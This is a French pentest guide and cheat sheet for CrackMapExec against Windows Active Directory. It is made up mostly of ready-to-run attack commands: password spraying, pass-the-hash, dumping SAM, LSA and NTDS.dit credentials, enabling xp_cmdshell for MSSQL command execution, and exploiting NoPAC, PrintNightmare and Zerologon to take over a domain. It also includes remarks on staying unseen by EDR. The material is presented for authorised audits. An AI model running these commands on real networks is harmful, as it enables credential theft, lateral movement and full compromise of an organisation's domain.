CrackMapExec est un outil essentiel dans les audits Active Directory. Il permet d’automatiser la découverte, l’authentification, l’énumération et l’exploitation des environnements Windows : SMB, LDAP, WinRM, MSSQL, modules AD avancés, etc.
Ce guide couvre l’installation, l’usage réel en pentest, les attaques Active Directory courantes et une cheatsheet complète prête à l’emploi.
Installation de CrackMapExec sur Kali Linux
sudo apt update && sudo apt install crackmapexec
Vérifier la version :
crackmapexec --version
Utilisation de base (scan, auth, exécution de commandes)

L’utilisation de base de CrackMapExec consiste à scanner un réseau SMB pour identifier les machines actives, tester des identifiants afin de valider un accès, exécuter des commandes à distance pour confirmer le niveau de privilège obtenu, et lister les partages disponibles sur un hôte.
Ces actions permettent rapidement de mesurer l’exposition d’un environnement Windows et d’identifier les premières opportunités de mouvement latéral.
Scanner un réseau SMB
cme smb 192.168.1.0/24
Tester des identifiants
cme smb 192.168.1.10 -u admin -p password123
Exécuter une commande distante
cme smb 192.168.1.10 -u admin -p password123 -x "ipconfig"
Énumérer les partages
cme smb 192.168.1.10 -u admin -p password123 --shares
Énumération Active Directory (SMB, LDAP, WinRM)
Password Policy
cme smb <DC_IP> --pass-pol
Dump SAM / LSA
cme smb <DC_IP> -u <u> -p <p> --sam
cme smb <DC_IP> -u <u> -p <p> --lsa
Dump NTDS.dit
cme smb <DC_IP> -u <u> -p <p> --ntds
LDAP enumeration (utilisateurs, groupes, machines)
cme ldap <DC_IP> -u <u> -p <p> -M ldap_search -o QUERY="(objectClass=user)"
WinRM enumeration
cme winrm <IP> -u <u> -p <p>
Attaques courantes avec CrackMapExec
Pass-The-Hash (PTH)
Le Pass-The-Hash permet de s’authentifier sur une machine Windows sans connaître le mot de passe, en utilisant uniquement un hash NTLM valide. CrackMapExec envoie directement ce hash dans la séquence d’authentification SMB. Cette façon de faire permet d’éviter le bruteforce contrairement à dirb.
cme smb <IP> -H <NTLM_HASH>
cme smb <IP> -H <NTLM_HASH> -x "whoami"
Utilité : Obtenir un accès immédiat à une machine sans casser les mots de passe.
Password Spraying
Le password spraying teste un même mot de passe sur une liste entière d’utilisateurs, évitant ainsi le verrouillage de comptes. CrackMapExec gère automatiquement le timing et les tentatives.
cme smb <IP> -U users.txt -p Winter2024!
Utilité : Identifier les comptes AD ayant un mot de passe faible ou réutilisé.
Exploitation MSSQL
CrackMapExec permet de se connecter aux serveurs MSSQL, exécuter des commandes et activer xp_cmdshell pour obtenir une exécution de commandes à distance.
cme mssql <IP> -u <u> -p <p>
cme mssql <IP> -u <u> -p <p> -X "whoami"
Activation de xp_cmdshell :
cme mssql <IP> -u <u> -p <p> -Q "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;"
Utilité : Obtenir un accès système via SQL, utile pour un pivot interne.
Exécution de commandes à distance (SMB Exec)
CrackMapExec peut exécuter une commande sur une machine via SMB dès qu’un compte valide a les permissions nécessaires.
cme smb <IP> -u <u> -p <p> -x "ipconfig"
Utilité : Vérifier l’accès, récupérer des informations système, préparer un mouvement latéral.
Dump SAM / LSA / NTDS
Avec les privilèges adéquats, CME peut extraire les identifiants locaux ou du domaine.
cme smb <IP> --sam
cme smb <IP> --lsa
cme smb <DC> --ntds
Utilité : Récupérer des hashes, secrets LSA ou l’intégralité de la base AD.
Énumération Active Directory via LDAP
CME peut interroger directement LDAP pour extraire les utilisateurs, groupes, machines, OU et comptes privilégiés.
cme ldap <DC_IP> -u <u> -p <p> -M ldap_search -o QUERY="(objectClass=user)"
Utilité : Comprendre la structure du domaine et identifier les cibles prioritaires.
WinRM (Remote PowerShell)
Si WinRM est actif et que les credentials sont valides, CME ouvre une session PowerShell distante, souvent moins détectée par les solutions de sécurité.
cme winrm <IP> -u <u> -p <p>
Utilité : Accès administrateur propre, idéal pour les actions silencieuses.
Modules avancés CrackMapExec
Lister les modules et exécuter:
cme -M
cme smb <IP> -u <u> -p <p> -M <module>
printnightmare
cme smb <DC> -u <u> -p <p> -M printnightmare
zerologon (test)
cme smb <DC> -u <u> -p <p> -M zerologon
nopac
cme smb <DC_IP> -u <u> -p <p> -M nopac
Scénarios typiques en pentest Active Directory
Enumération initiale
Scan SMB / LDAP / WinRM pour cartographier le domaine.
Compromission d’une machine utilisateur
Password spray → Auth → Commande distante → Extraction de credentials.
Mouvement latéral
Pass-The-Hash → Commande distante → Token theft → découverte de machines.
Prise de contrôle du domaine
Modules NoPAC, PrintNightmare, exploitation LDAP, dump NTDS.
CrackMapExec Cheatsheet
Cheatsheet générale CrackMapExec
Voici les commandes de base de CrackMapExec classées par protocole : SMB, LDAP, WinRM et MSSQL.
Scan SMB
cme smb <IP>
cme smb <CIDR>
Authentification SMB
cme smb <IP> -u <user> -p <password>
Exécution de commandes à distance (SMB Exec)
cme smb <IP> -u <user> -p <password> -x "whoami"
Énumération des partages
cme smb <IP> --shares
Policies / Secrets Windows
cme smb <DC> --pass-pol
cme smb <IP> --sam
cme smb <IP> --lsa
cme smb <DC> --ntds
Énumération LDAP
cme ldap <DC> -u <user> -p <pass>
WinRM (Remote PowerShell)
cme winrm <IP> -u <user> -p <pass>
MSSQL
cme mssql <IP> -u <user> -p <pass>
CrackMapExec ldap enumeration
CrackMapExec peut interroger directement le service LDAP d’un contrôleur de domaine pour extraire des informations essentielles comme les utilisateurs, les groupes, les ordinateurs, les OU, et les comptes à privilèges.
C’est une étape clé pour comprendre la structure et les faiblesses potentielles d’un Active Directory.
Recherche générique d’utilisateurs
cme ldap -u -p -M ldap_search -o QUERY="(objectClass=user)"
Cette requête renvoie la liste complète des comptes utilisateurs du domaine.
Identifier les comptes privilégiés (adminCount=1)
cme ldap -u -p -M ldap_search -o QUERY="(adminCount=1)"
La valeur adminCount=1 indique que le compte appartient ou a appartenu à un groupe à privilèges, comme Domain Admins.
Extraire toutes les machines du domaine
cme ldap -u -p -M ldap_search -o QUERY="(objectClass=computer)"
Permet d’obtenir la liste des serveurs, postes de travail et hôtes enregistrés dans l’AD.
Utilité : identifier les groupes sensibles, localiser les cibles pertinentes, détecter des configurations à risque et préparer les étapes suivantes du pentest (spray, PTH, mouvement latéral).
Crackmapexec nopac
NoPAC est une vulnérabilité Active Directory permettant d’obtenir des privilèges élevés sur un contrôleur de domaine en abusant d’une mauvaise configuration Kerberos. CrackMapExec intègre un module capable de tester automatiquement la faille et, si possible, de l’exploiter.
Test de vulnérabilité NoPAC
cme smb -u -p -M nopac
Cette commande vérifie si le contrôleur de domaine est vulnérable au problème d’élévation de privilèges NoPAC.
Exploitation NoPAC
cme smb -u -p -M nopac --exec
L’option --exec tente d’exécuter une commande à privilèges élevés sur le DC, indiquant une compromission réussie.
Utilité : obtenir un accès administrateur domaine via Kerberos si la configuration est vulnérable, ouvrant la voie au contrôle complet de l’AD.
Crackmapexec mssql
CrackMapExec permet d’interagir avec les serveurs MSSQL pour lister les bases, exécuter des requêtes SQL et, dans certains cas, obtenir une exécution de commandes système via xp_cmdshell.
C’est une étape importante dans un pentest Active Directory, car les serveurs SQL sont souvent des points d’entrée pour un pivot réseau.
Connexion MSSQL
cme mssql -u -p
Cette commande vérifie l’authentification SQL/Windows et les permissions associées.
Lister les bases
cme mssql -u -p -Q "SELECT name FROM master..sysdatabases"
Cela interroge la base système MSSQL afin d’afficher toutes les bases de données disponibles.
Exécuter une commande système
cme mssql -u -p -X "whoami"
L’option -X exécute directement une commande via xp_cmdshell si celle-ci est activée ou activable.
Utilité : pivoter via SQL, prendre le contrôle du serveur, élever ses privilèges.
crackmapexec password spray
Le password spraying consiste à tester un mot de passe unique sur une liste complète d’utilisateurs, ce qui permet d’éviter les verrouillages de comptes Active Directory. CrackMapExec automatise cette technique et gère les délais nécessaires entre les tentatives.
Spray SMB
cme smb -U users.txt -p Winter2024!

Spray LDAP
cme ldap -U users.txt -p Winter2024!
Explication :
-U users.txt: liste des utilisateurs à tester-p: mot de passe unique testé sur chaque utilisateursmbouldap: protocole utilisé pour l’authentification
Utilité :
- Identifier les comptes Active Directory utilisant un mot de passe faible
- Détecter les comptes réutilisant des mots de passe
- Obtenir un premier accès valide pour poursuivre l’attaque
- Préparer un pivot vers WinRM, MSSQL, SMB exec ou LDAP
FAQ – Questions fréquentes (SEO longue traîne)
CrackMapExec ou Impacket ?
CME pour automatiser, Impacket pour un contrôle plus fin.
CrackMapExec permet-il de compromettre un AD ?
Oui avec des modules comme NoPAC, PrintNightmare, Zerologon.
CrackMapExec détecte-t-il les partages sensibles ?
Oui via l’option –shares.
CrackMapExec fonctionne-t-il sans authentification ?
Oui pour la découverte SMB/LDAP.
CrackMapExec est-il détecté par les EDR ?
Souvent, sauf en mode low-noise (LDAP-only, pas d’exécution distante).
Conclusion
CrackMapExec est un outil puissant pour automatiser les audits Active Directory. Ce guide rassemble les commandes essentielles, les techniques d’exploitation, les modules AD et une cheatsheet complète pour optimiser vos pentests.